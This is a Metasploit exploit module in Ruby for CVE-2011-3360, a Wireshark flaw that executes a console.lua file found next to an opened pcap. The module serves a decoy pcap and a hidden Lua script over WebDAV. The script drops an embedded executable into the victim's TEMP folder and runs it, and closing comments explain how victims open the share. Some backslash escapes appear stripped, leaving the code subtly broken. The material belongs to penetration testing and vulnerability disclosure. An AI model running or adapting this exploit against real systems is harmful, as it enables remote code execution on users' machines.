##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpServer::HTML
	include Msf::Exploit::EXE

	def initialize(info={})
		super(update_info(info,
			'Name'           => "Wireshark console.lua pre-loading vulnerability",
			'Description'    => %q{
					This modules exploits a vulnerability in Wireshark 1.6 or less. When opening a
				pcap file, Wireshark will actually check if there's a 'console.lua' file in the same
				directory, and then parse/execute the script if found.  Versions affected by this
				vulnerability: 1.6.0 to 1.6.1, 1.4.0 to 1.4.8
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'sinn3r',  #Metasploit
				],
			'References'     =>
				[
					['CVE', '2011-3360'],
					['OSVDB', '75347'],
					['URL', 'https://bugs.wireshark.org/bugzilla/show_bug.cgi?id=6136'],
					['URL', 'http://technet.microsoft.com/en-us/security/advisory/2269637']
				],
			'Payload'        =>
				{
					'BadChars' => "x00",
				},
			'DefaultOptions'  =>
				{
					'ExitFunction' => "none"
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					['Wireshark 1.6.1 or less', {}],
				],
			'Privileged'     => false,
			'DisclosureDate' => "Jul 18 2011",  #Didn't go public until 2011-09-21 though
			'DefaultTarget'  => 0))

		register_options(
			[
				OptPort.new('SRVPORT',     [ true, "The daemon port to listen on (do not change)", 80 ]),
				OptString.new('SHARENAME', [ true, "The name of the top-level share.", "files"]),
				OptString.new('URIPATH',   [ true, "The URI to use", "/" ]),
				OptString.new('FILENAME',  [ true, "The name of the pcap file", "msf.pcap"])
			], self.class)

		deregister_options('SSL', 'SSLVersion') # WebDAV does not support SSL
	end

	def on_request_uri(cli, request)
		case request.method
		when 'OPTIONS'
			process_options(cli, request)
		when 'PROPFIND'
			process_propfind(cli, request)
		when 'GET'
			process_get(cli, request)
		else
			print_status("#{cli.peerhost}:#{cli.peerport} #{request.method} => 404 (#{request.uri})")
			resp = create_response(404, "Not Found")
			resp.body = ""
			resp['Content-Type'] = 'text/html'
			cli.send_response(resp)
		end
	end

	def process_get(cli, request)
		print_status("URI requested: #{request.uri.to_s}")
		if request.uri =~ /.lua$/
			# Load lua script
			print_status("Sending lua script")
			send_response(cli, @p, {'Content-Type'=>'application/octet-stream'})
		elsif request.uri =~ /#{datastore['FILENAME']}/
			# Load an empty pcap file
			# Format reference: http://wiki.wireshark.org/Development/LibpcapFileFormat
			pcap = ''
			pcap << "xd4xc3xb2xa1"  #Magic number
			pcap << "x02x00"          #Major version number
			pcap << "x04x00"          #Minor version number
			pcap << "x00x00x00x00"  #GMT to local correction
			pcap << "x00x00x00x00"  #Accuracy of timestamp
			pcap << "xffxffx00x00"  #Maxlength of captured packets in octets
			pcap << "x01x00x00x00"  #Data length type
			print_status("Sending fake pcap file")
			send_response(cli, pcap, {'Content-Type'=>'application/octet-stream'})
		else
			# Don't know the request, return not found
			print_error("Don't care about this file, 404")
			send_not_found(cli)
		end
		return
	end

	def process_options(cli, request)
		vprint_status("#{cli.peerhost}:#{cli.peerport} OPTIONS #{request.uri}")
		headers = {
			'MS-Author-Via' => 'DAV',
			'DASL'          => '<DAV:sql>',
			'DAV'           => '1, 2',
			'Allow'         => 'OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH',
			'Public'        => 'OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK',
			'Cache-Control' => 'private'
		}

		resp = create_response(207, "Multi-Status")
		headers.each_pair {|k,v| resp[k] = v }
		resp.body = ''
		resp['Content-Type'] = 'text/xml'
		cli.send_response(resp)
	end

	def process_propfind(cli, request)
		path = request.uri
		vprint_status("Received WebDAV PROPFIND request from #{cli.peerhost}:#{cli.peerport} #{path}")
		body = ''

		my_host   = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
		my_uri    = "http://#{my_host}/"

		if path !~ //$/
			if path.index(".")
				print_status("Sending 404 for #{path} ...")
				resp = create_response(404, "Not Found")
				resp['Content-Type'] = 'text/html'
				cli.send_response(resp)
				return
			else
				print_status("Sending 301 for #{path} ...")
				resp = create_response(301, "Moved")
				resp["Location"] = path + "/"
				resp['Content-Type'] = 'text/html'
				cli.send_response(resp)
				return
			end
		end

		print_status("Sending directory multistatus for #{path} ...")

		body = <<-BODY
		<?xml version="1.0" encoding="utf-8"?>
		<D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/">
		<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
		<D:href>#{path}</D:href>
		<D:propstat>
		<D:prop>
		<lp1:resourcetype><D:collection/></lp1:resourcetype>
		<lp1:creationdate>2010-07-19T20:29:42Z</lp1:creationdate>
		<lp1:getlastmodified>Mon, 19 Jul 2010 20:29:42 GMT</lp1:getlastmodified>
		<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
		<D:supportedlock>
		<D:lockentry>
		<D:lockscope><D:exclusive/></D:lockscope>
		<D:locktype><D:write/></D:locktype>
		</D:lockentry>
		<D:lockentry>
		<D:lockscope><D:shared/></D:lockscope>
		<D:locktype><D:write/></D:locktype>
		</D:lockentry>
		</D:supportedlock>
		<D:lockdiscovery/>
		<D:getcontenttype>httpd/unix-directory</D:getcontenttype>
		</D:prop>
		<D:status>HTTP/1.1 200 OK</D:status>
		</D:propstat>
		</D:response>
		BODY

		body = body.gsub(/^tt/, '')

		if request["Depth"].to_i > 0
			if path.scan("/").length < 2
				body << generate_shares(path)
			else
				#Set filenames, and set the hidden attribute
				filenames =
					[
						['console.lua', true],
						[datastore['FILENAME'], false]
					]
				body << generate_files(path, filenames)
			end
		end

		body << "</D:multistatus>"

		body.gsub!(/t/, '')

		# send the response
		resp = create_response(207, "Multi-Status")
		resp.body = body
		resp['Content-Type'] = 'text/xml; charset="utf8"'
		cli.send_response(resp)
	end

	def gen_timestamp(ttype=nil)
		::Time.now.strftime("%a, %d %b %Y %H:%M:%S GMT")
	end

	def gen_datestamp(ttype=nil)
		::Time.now.strftime("%Y-%m-%dT%H:%M:%SZ")
	end

	def generate_shares(path)
		share_name = datastore['SHARENAME']
		share = <<-SHARE
		<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
		<D:href>#{path}#{share_name}/</D:href>
		<D:propstat>
		<D:prop>
		<lp1:resourcetype><D:collection/></lp1:resourcetype>
		<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
		<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
		<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
		<D:supportedlock>
		<D:lockentry>
		<D:lockscope><D:exclusive/></D:lockscope>
		<D:locktype><D:write/></D:locktype>
		</D:lockentry>
		<D:lockentry>
		<D:lockscope><D:shared/></D:lockscope>
		<D:locktype><D:write/></D:locktype>
		</D:lockentry>
		</D:supportedlock>
		<D:lockdiscovery/>
		<D:getcontenttype>httpd/unix-directory</D:getcontenttype>
		</D:prop>
		<D:status>HTTP/1.1 200 OK</D:status>
		</D:propstat>
		</D:response>
		SHARE
		share = share.gsub(/^tt/, '')
		return share
	end

	def generate_files(path, items)
		trail = path.split("/")
		return "" if trail.length < 2

		files = ""
		items.each do |f, hide|
			h = hide ? '1' : '0'
			files << <<-FILES
			<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
			<D:href>#{path}#{f}</D:href>
			<D:propstat>
			<D:prop>
			<lp1:resourcetype/>
			<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
			<lp1:getcontentlength>#{rand(0x10000)+120}</lp1:getcontentlength>
			<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
			<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
			<lp2:executable>T</lp2:executable>
			<D:supportedlock>
			<D:lockentry>
			<D:lockscope><D:exclusive/></D:lockscope>
			<D:locktype><D:write/></D:locktype>
			</D:lockentry>
			<D:lockentry>
			<D:lockscope><D:shared/></D:lockscope>
			<D:locktype><D:write/></D:locktype>
			</D:lockentry>
			</D:supportedlock>
			<D:lockdiscovery/>
			<D:getcontenttype>application/octet-stream</D:getcontenttype>
			</D:prop>
			<D:status>HTTP/1.1 200 OK</D:status>
			<D:ishidden b:dt="boolean">#{h}</D:ishidden>
			</D:propstat>
			</D:response>
			FILES
		end

		files = files.gsub(/^ttt/, '')

		return files
	end

	def get_lua_payload
		# Generate our executable payload, and then convert every byte
		# in decimal format
		p = generate_payload_exe
		buf = ''
		p.each_byte do |b|
			buf << "\#{b.to_s}"
		end

		# Create the lua script that contains our payload
		var_payload_name = rand_text_alpha(5)
		var_temp_name    = rand_text_alpha(5)
		lua_script = <<-LUA
		#{var_payload_name} = "#{buf}"

		#{var_temp_name} = os.getenv("TEMP") .. os.tmpname() .. ".exe"
		local f = io.open(#{var_temp_name}, "wb")
		f:write(#{var_payload_name})
		f:close()
		os.execute(#{var_temp_name})
		LUA

		lua_script = lua_script.gsub(/^tt/, '')
		return lua_script
	end

	def exploit
		@p = get_lua_payload
		super
	end
end

=begin
Example of how to open the share:
My Computer -> Tools -> Map Network Driver -> Sign up for online storage or
connect to a network server -> Choose another network location ->
enter the network address

On an unpatched XP SP3 (and other Windows systems), the ideal URI format is like this:
http://192.168.1.11/
But on a fully patched XP SP3, the same URI format will not work. Windows will try to list
the share via SMB, and the victim will not see the share.  In this case, you should specify
the URI to like this:
http://192.168.1.11/files
=end